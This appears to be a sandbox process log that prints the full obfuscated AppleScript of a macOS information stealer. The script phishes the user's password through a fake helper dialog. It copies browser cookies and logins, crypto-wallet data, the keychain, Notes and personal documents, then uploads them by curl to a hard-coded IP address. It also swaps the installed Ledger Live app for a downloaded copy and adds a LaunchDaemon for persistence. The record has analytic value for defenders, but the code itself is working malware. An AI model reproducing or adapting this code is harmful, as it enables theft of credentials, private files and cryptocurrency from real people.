\\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"
1⤵
PID:476

/bin/bash
sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", 